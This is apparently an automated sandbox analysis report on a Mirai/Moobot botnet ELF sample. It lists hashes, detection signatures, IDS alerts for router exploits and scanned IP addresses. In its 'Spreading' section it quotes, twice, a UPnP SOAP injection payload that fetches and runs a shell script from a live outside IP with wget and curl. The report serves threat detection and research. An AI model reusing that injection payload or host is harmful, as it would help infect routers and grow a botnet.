Linux Analysis Report
naZZ0BK2hf.elf

Overview

General Information

Sample Name: naZZ0BK2hf.elf
Analysis ID: 780221
MD5: aa92ed2c0b4b1be1e681ba5984f875da
SHA1: a613f411b19bbe343140db35c75164d911513484
SHA256: 4028e729748c3aac1611a6117fcf2c16ef56bd0e86b178d541d55e5810a755ac
Tags: 32elfgafgytMirairenesas
Infos:

Detection

Mirai, Moobot
Score: 100
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Found strings indicative of a multi-platform dropper
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Uses the "uname" system call to query kernel version information (possible evasion)
Executes the "chmod" command used to modify permissions
Detected TCP or UDP traffic on non-standard ports
Sample listens on a socket
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Sample tries to set the executable flag
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: naZZ0BK2hf.elf ReversingLabs: Detection: 46%
Source: naZZ0BK2hf.elf Virustotal: Detection: 57% Perma Link

Spreading
barindex
Found strings indicative of a multi-platform dropper
Source: naZZ0BK2hf.elf String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Source: naZZ0BK2hf.elf String: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>busybox wget http://89.208.107.26/miniupd.sh; sh w.sh; curl http://89.208.107.26/miniupd.sh; sh c.sh; wget 89.208.107.26/miniupd.sh; sh wget.sh; curl http://89.208.107.26/miniupd.sh; sh wget.sh; busybox wget http://89.208.107.26/miniupd.sh; sh wget.sh; busybox curl http://89.208.107.26/miniupd.sh; sh wget.sh; iptables -A INPUT -p tcp --destination-port 5555 -j DROP`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>GET HTTP/1.1

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37086 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37132 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37222 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37278 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37450 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37622 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37662 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:37740 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35250 -> 197.214.98.183:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59142 -> 170.135.129.14:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38054 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:57860 -> 52.49.46.49:80
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49242 -> 197.39.82.47:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38116 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38134 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38298 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38354 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54732 -> 197.39.194.55:37215
Source: Traffic Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:60436 -> 52.49.46.55:80
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38522 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38560 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37444 -> 197.234.61.48:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38652 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39440 -> 41.36.224.51:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52968 -> 45.43.231.140:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38738 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37416 -> 107.178.250.74:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39030 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39168 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39382 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39410 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39430 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39466 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39530 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39538 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39620 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39748 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39834 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:39954 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:40000 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44438 -> 197.148.91.24:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:40312 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:34098 -> 52.49.46.55:80
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:40430 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52044 -> 163.191.86.25:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:40568 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:40704 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:40868 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:60674 -> 52.49.46.49:80
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:41008 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:41024 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:41104 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48322 -> 197.39.0.249:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:41278 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:41292 -> 89.208.107.26:59736
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:41522 -> 89.208.107.26:59736
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 49.49.51.46 ports 8080,0,8,80,37215,52869
Source: global traffic TCP traffic: 49.56.55.46 ports 8080,0,8,80,37215,52869
Source: global traffic TCP traffic: 49.56.57.46 ports 8080,0,8,80,81,37215,52869,49152
Source: global traffic TCP traffic: 89.208.107.26 ports 3,59736,5,6,7,9
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 55212 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 53156 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 40486 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 35250 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 51688 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 46862 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 5555 -> 46862
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 49242 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 49242
Source: unknown Network traffic detected: HTTP traffic on port 59142 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54732 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 54732
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 34100 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47248 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 37444 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 34100 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52968 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 39440
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 37416 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60638 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 35342 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42484 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 60518 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 38536 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 57688 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 5555 -> 57688
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 41740 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 44438 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 54644 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54426 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 5555 -> 54426
Source: unknown Network traffic detected: HTTP traffic on port 47664 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 47302 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 52044 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 56670 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 59480 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 48322 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 48322
Source: unknown Network traffic detected: HTTP traffic on port 48208 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 45198 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 39730 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 54880 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 42352 -> 5555
Source: unknown Network traffic detected: HTTP traffic on port 57958 -> 5555
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.155.45.47:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.207.214.83:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.100.11.17:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.138.8.164:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.253.209.88:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.29.52.37:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 70.63.178.145:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 150.92.69.249:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.27.79.100:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.13.45.118:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.223.64.174:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.148.33.82:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.2.97.131:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 183.43.26.189:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.204.146.39:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.217.143.58:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.52.39.73:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 23.40.227.125:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.47.41.57:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.113.229.53:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.31.8.150:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.142.227.17:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.24.182.102:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.138.121.66:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 209.56.13.149:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.93.78.213:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.161.216.196:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.6.155.219:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.209.18.229:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 199.175.243.107:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 132.135.248.144:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 99.57.121.42:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.33.255.148:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.196.94.213:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 100.147.53.178:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.215.205.202:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.86.246.61:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.200.96.90:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.4.241.161:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.9.246.94:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 163.9.15.102:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.8.7.118:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.158.147.102:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.205.69.86:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.35.93.188:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.81.195.251:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.95.211.213:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.91.188.203:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.248.71.135:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.50.186.151:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.14.253.5:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.68.173.208:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.45.94.219:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.205.169.238:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.136.75.34:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.33.92.81:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.99.200.84:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.49.236.232:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.57.245.212:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.44.84.158:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 77.138.48.225:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.199.217.241:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.111.24.178:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.99.27.80:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.233.149.91:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 68.148.148.43:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.9.232.234:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.52.214.240:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 138.49.247.114:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.73.134.159:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 185.253.98.171:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.63.178.25:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.18.96.81:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.16.168.191:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.243.124.251:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 116.247.190.220:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.199.213.102:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.187.23.183:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.6.215.213:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.11.149.56:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.95.8.223:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.72.124.206:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 92.32.85.102:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.235.11.175:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.137.112.145:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 165.131.134.241:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.52.193.52:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.94.97.161:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.59.251.166:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.27.8.11:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.224.114.166:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.33.15.205:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 9.253.63.17:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.216.118.236:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.44.67.143:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.147.222.173:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 113.47.111.236:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.177.149.235:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.183.180.83:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.220.17.220:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.168.95.99:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.233.30.156:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 195.51.187.198:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.139.36.103:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.220.255.64:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.22.148.47:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.187.192.145:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.252.203.49:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.167.47.210:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.249.192.199:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.199.231.198:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 140.138.66.188:37215
